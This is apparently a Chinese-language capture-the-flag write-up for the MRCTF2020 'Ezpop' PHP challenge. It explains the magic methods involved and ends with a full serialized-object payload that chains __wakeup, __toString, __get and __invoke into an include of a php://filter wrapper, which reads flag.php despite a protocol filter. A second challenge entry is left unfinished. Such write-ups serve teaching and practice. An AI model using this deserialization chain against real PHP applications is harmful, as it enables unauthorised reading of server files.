知识点
- __invoke()函数:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
- php相关知识:https://www.runoob.com/php/php-tutorial.html
33-1 [MRCTF2020]Ezpop
做题思路
审计代码,提示flag在flag.php
反序列化直接分析,构造pop链
1.先分析第一个类,Modifier类
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
append方法里面有内置函数include,包含$value值。__invoke方法是当脚本尝试将对象调用为函数时触发
2.show类
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
__construct方法,接收参数$file,$this->source = $file将$file的值赋给source。而$file的值直接就是inde.php,所以还是输出index.php。
__toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发
__wakeup方法,使用反序列化的时候触发,而这里同时也可以触发__toString方法。里面有waf,过滤一些协议,但是显而易见可以用filter.3.Test类
class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } }
__construct方法,把p对象变成一个数组。
__get方法,从不可访问的属性中读取数据会触发4.payload构造思路
Modifier
类,先把$var
的值写成伪协议读源码
show
类,这是pop链最开始,使用反序列化触发__wakeup
,__wakeup
直接触发__toString
,然后访问source
触发__get
Test
类,p实例化为Modify
类payload
<?php class Modifier { protected $var = "php://filter/convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } } class Test{ public $p; public function __construct(){ $this->p = new Modifier(); } } $o = new Show('aaa'); $o->str= new Test(); $mlz = new Show($o); echo urlencode(serialize($mlz));
5.得到flag
利用在线PHP工具得到
然后传入变量pop得到
最后base64解密得到flag
借鉴自 WP
33-2 [CISCN2019 华北赛区 Day1 Web2]ikun
做题思路
原谅我,下次再回头写这题吧,感觉有点懵